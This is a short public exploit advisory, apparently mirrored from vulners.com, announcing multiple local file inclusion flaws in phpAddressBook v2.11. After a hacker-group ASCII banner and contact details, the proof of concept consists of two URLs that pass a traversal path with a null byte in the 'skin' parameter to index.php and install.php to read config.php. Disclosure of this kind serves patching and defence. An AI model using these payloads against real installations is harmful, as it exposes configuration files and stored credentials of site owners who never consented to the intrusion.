phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

2008-03-2300:00:00

vulners.com

   _____          ____   _____
  /  _  &#92; /&#92;  /&#92; / _  &#92; /  _  &#92;
  | | | | &#92; &#92;/ / ||_| | | | | |
  | | | |  &#92;  /  &#92;_   | | | | |
  | |_| |  /  &#92;   __&#92; | | |_| |
  &#92;_____/ / /&#92; &#92; |____/ &#92;_____/
          &#92;/  &#92;/

[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Founder: 0x90

[~] HomePage: www.0x90.com.ar

[~] Public: http://0x90.com.ar/Advisory/20080321.txt

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] PoC:

http://[host]/[path]/index.php?skin=/…/config.php %00
http://[host]/[path]/install.php?skin=/…/config.php %00

Greetz: …

JSON